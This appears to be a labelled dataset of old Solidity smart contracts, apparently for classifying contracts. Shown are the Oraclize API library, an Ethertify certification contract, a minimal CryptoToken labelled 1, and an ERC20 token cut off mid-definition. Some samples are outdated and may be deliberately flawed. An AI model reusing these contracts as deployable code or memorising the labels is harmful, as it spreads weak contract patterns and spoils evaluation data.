uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Ethertify is usingOraclize {
EntityLib.Data ed;
CertsLib.Data cd;
function Ethertify() public {
ed.nEntities = 0;
cd.nCerts = 0;
}
modifier isOraclize() {
require (msg.sender == oraclize_cbAddress());
_;
}
function createSigningEntity(string entityHash, bytes32 urlHash, uint expirationDate, uint renewalPeriod) public returns (uint) {
uint entityId = ++ed.nEntities;
EntityLib.create(ed, entityId, entityHash, urlHash, expirationDate, renewalPeriod);
return entityId;
}
function setExpiration(uint entityId, uint expirationDate, string url, uint oraclizeGas, uint oraclizeGasPrice) public payable returns (bytes32) {
EntityLib.setExpiration(ed, entityId, expirationDate);
return validateSigningEntity(entityId, url, oraclizeGas, oraclizeGasPrice);
}
function setRenewalPeriod (uint entityId, uint renewalPeriod) public {
EntityLib.setRenewalPeriod(ed, entityId, renewalPeriod);
}
function validateSigningEntity(uint entityId, string url, uint oraclizeGas, uint oraclizeGasPrice) public payable returns (bytes32) {
uint maxGas = oraclizeGas == 0 ? 88000 : oraclizeGas;
if (EntityLib.canValidateSigningEntity(ed, entityId, url)) {
oraclize_setCustomGasPrice(oraclizeGasPrice);
uint queryCost = oraclize_getPrice("URL", maxGas);
if (queryCost > msg.value) {
OraclizeNotEnoughFunds(entityId, queryCost);
return 0;
}
string memory query = strConcat("html(", url, ").xpath(/html/head/meta[@name='ethertify-entity']/@content)");
bytes32 queryId = oraclize_query("URL", query, maxGas);
ed.entityIds[queryId] = entityId;
EntityLib.setOraclizeQueryId(ed, entityId, queryId);
return queryId;
}
}
function updateEntityData(uint entityId, string entityHash, bytes32 urlHash, string url, uint oraclizeGas, uint oraclizeGasPrice) public payable {
EntityLib.updateEntityData(ed, entityId, entityHash, urlHash);
validateSigningEntity(entityId, url, oraclizeGas, oraclizeGasPrice);
}
function updateSignerData(uint[] entityIds, string signerDataHash) public {
EntityLib.updateSignerData(ed, entityIds, signerDataHash);
}
function acceptSignerUpdate(uint entityId, address signerAddress, string signerDataHash) public {
EntityLib.acceptSignerUpdate(ed, entityId, signerAddress, signerDataHash);
}
function requestRenewal(uint entityId, string url, uint oraclizeGas, uint oraclizeGasPrice) public payable returns (bytes32) {
if (EntityLib.canRenew(ed, entityId, url)) {
ed.entities[entityId].status = 4;
return validateSigningEntity(entityId, url, oraclizeGas, oraclizeGasPrice);
}
}
function closeEntity(uint entityId) public {
EntityLib.closeEntity(ed, entityId);
}
function __callback(bytes32 queryId, string result) isOraclize() public {
EntityLib.processValidation(ed, queryId, result);
}
function registerSigner(uint entityId, address signerAddress, string signerDataHash) public {
EntityLib.registerSigner(ed, entityId, signerAddress, signerDataHash);
}
function removeSigner(uint entityId, address signerAddress) public {
EntityLib.removeSigner(ed, entityId, signerAddress);
}
function leaveEntity(uint entityId) public {
EntityLib.leaveEntity(ed, entityId);
}
function confirmSignerRegistration(uint entityId, string signerDataHash) public {
EntityLib.confirmSignerRegistration(ed, entityId, signerDataHash);
}
function createPOECertificate(bytes32 dataHash, bytes32 certHash, string ipfsDataHash, string ipfsCertHash) public returns (uint) {
return CertsLib.createPOECertificate(cd, dataHash, certHash, ipfsDataHash, ipfsCertHash);
}
function createCertificate(bytes32 dataHash, bytes32 certHash, string ipfsDataHash, string ipfsCertHash, uint entityId) public returns (uint) {
return CertsLib.createCertificate(cd, ed, dataHash, certHash, ipfsDataHash, ipfsCertHash, entityId);
}
function requestCertificateTransferToPeer(uint certificateId, address newOwner) public {
return CertsLib.requestCertificateTransferToPeer(cd, ed, certificateId, newOwner);
}
function requestCertificateTransferToEntity(uint certificateId, uint newEntityId) public {
return CertsLib.requestCertificateTransferToEntity(cd, ed, certificateId, newEntityId);
}
function acceptCertificateTransfer(uint certificateId) public {
return CertsLib.acceptCertificateTransfer(cd, ed, certificateId);
}
function cancelCertificateTransfer(uint certificateId) public {
return CertsLib.cancelCertificateTransfer(cd, ed, certificateId);
}
function setIPFSData(uint certId, string ipfsDataHash, string ipfsCertHash) public {
CertsLib.setIPFSData(cd, certId, ipfsDataHash, ipfsCertHash);
}
function requestSignatureToEntity(uint certificateId, uint entityId) public {
SignLib.requestSignatureToEntity(ed, cd, certificateId, entityId);
}
function requestSignatureToPeer(uint certificateId, address peer) public {
SignLib.requestSignatureToPeer(ed, cd, certificateId, peer);
}
function signCertificateAsEntity(uint entityId, uint certificateId, uint expiration, bytes32 purpose) public {
SignLib.signCertificateAsEntity(ed, cd, entityId, certificateId, expiration, purpose);
}
function signCertificateAsPeer(uint certificateId, uint expiration, bytes32 purpose) public {
SignLib.signCertificateAsPeer(cd, certificateId, expiration, purpose);
}
function internalState() constant public returns (uint numEntities, uint numCertificates) {
return (
ed.nEntities,
cd.nCerts
);
}
function getSigningEntityInfo(uint entityId) constant public returns (address owner, string dataHash, uint status, bytes32 urlHash, uint expiration, uint renewalPeriod, uint numSigners) {
return (
ed.entities[entityId].owner,
ed.entities[entityId].dataHash,
ed.entities[entityId].status,
ed.entities[entityId].urlHash,
ed.entities[entityId].expiration,
ed.entities[entityId].renewalPeriod,
ed.entities[entityId].signersArr.length
);
}
function getOraclizeQuery(uint entityId) constant public returns (bytes32 oraclizeQueryId) {
return ed.entities[entityId].oraclizeQueryId;
}
function getSignerData(uint entityId, address signerAddress, uint index) constant public returns (address signer, uint status, string ipfsMultiHash) {
uint s = 0;
string memory h = "";
if (signerAddress != 0) {
s = ed.entities[entityId].signers[signerAddress].status;
h = ed.entities[entityId].signers[signerAddress].signerDataHash;
} else if (signerAddress == 0 && index < ed.entities[entityId].signersArr.length) {
signerAddress = ed.entities[entityId].signersArr[index];
s = ed.entities[entityId].signers[signerAddress].status;
h = ed.entities[entityId].signers[signerAddress].signerDataHash;
}
return (signerAddress, s, h);
}
function getCertificateInfo(uint certificateId) constant public returns (address owner, uint entityId, bytes32 certHash, string ipfsCertHash, bytes32 dataHash, string ipfsDataHash, uint numEntitySignatures, uint numPeerSignatures, address newOwnerTransferRequest, uint newEntityTransferRequest) {
CertsLib.CertData storage cert = cd.certificates[certificateId];
CertsLib.TransferData storage req = cd.transferRequests[certificateId];
return (
cert.owner,
cert.entityId,
cert.certHash,
cert.ipfsCertHash,
cert.dataHash,
cert.ipfsDataHash,
cert.entitiesArr.length,
cert.signaturesArr.length,
req.newOwner,
req.newEntityId
);
}
function getEntitySignatureInfoFromCertificate(uint certificateId, uint entityId, uint entityIndex) constant public returns (uint id, bytes32 status, uint expiration) {
bytes32 s = 0x0;
uint e = 0;
if (entityId != 0 ) {
s = cd.certificates[certificateId].entities[entityId].status;
e = cd.certificates[certificateId].entities[entityId].exp;
} else if (entityId == 0) {
entityId = cd.certificates[certificateId].entitiesArr[entityIndex];
s = cd.certificates[certificateId].entities[entityId].status;
e = cd.certificates[certificateId].entities[entityId].exp;
} else {
entityId = 0;
}
return (entityId, s, e);
}
function getPeerSignatureInfoFromCertificate(uint certificateId, address peerAddress, uint peerIndex) constant public returns (address addr, bytes32 status, uint expiration) {
bytes32 s = 0x0;
uint e = 0;
if (peerAddress != 0) {
s = cd.certificates[certificateId].signatures[peerAddress].status;
e = cd.certificates[certificateId].signatures[peerAddress].exp;
} else if (peerAddress == 0) {
peerAddress = cd.certificates[certificateId].signaturesArr[peerIndex];
s = cd.certificates[certificateId].signatures[peerAddress].status;
e = cd.certificates[certificateId].signatures[peerAddress].exp;
}
return (peerAddress, s, e);
}
event EntityCreated(uint indexed entityId);
event EntityValidated(uint indexed entityId);
event EntityDataUpdated(uint indexed entityId);
event EntityInvalid(uint indexed entityId);
event SignerAdded(uint indexed entityId, address indexed signerAddress);
event SignerDataUpdated(uint[] entities, address indexed signerAddress);
event SignerUpdateAccepted(uint indexed entityId, address indexed signerAddress);
event SignerRemoved(uint indexed entityId, address signerAddress);
event EntityClosed(uint indexed entityId);
event SignerConfirmed(uint indexed entityId, address signerAddress);
event EntityExpirationSet(uint indexed entityId);
event EntityRenewalSet(uint indexed entityId);
event POECertificate(uint indexed certificateId);
event Certificate(uint indexed certificateId);
event CertificateTransferRequestedToPeer(uint indexed certificateId, address newOwner);
event CertificateTransferRequestedToEntity(uint indexed certificateId, uint newEntityId);
event CertificateTransferAccepted(uint indexed certificateId, address newOwner, uint newEntityId);
event CertificateTransferCancelled(uint indexed certificateId);
event EntitySignatureRequested(uint indexed certificateId, uint indexed entityId);
event PeerSignatureRequested(uint indexed certificateId, address indexed signerAddress);
event CertificateSignedByEntity(uint indexed certificateId, uint indexed entityId, address indexed signerAddress);
event CertificateSignedByPeer(uint indexed certificateId, address indexed signerAddress);
event OraclizeNotEnoughFunds(uint indexed entityId, uint queryCost);
} | 0 | 2,588 |
contract CryptoToken {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function CryptoToken() {
initialSupply = 50000000000;
name ="CryptoToken";
decimals = 2;
symbol = "CLC";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 3,075 |
pragma solidity ^0.4.13;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) balances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function approve(address _spender, uint256 _value) public returns (bool) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
}
contract Ownable {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed _by, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
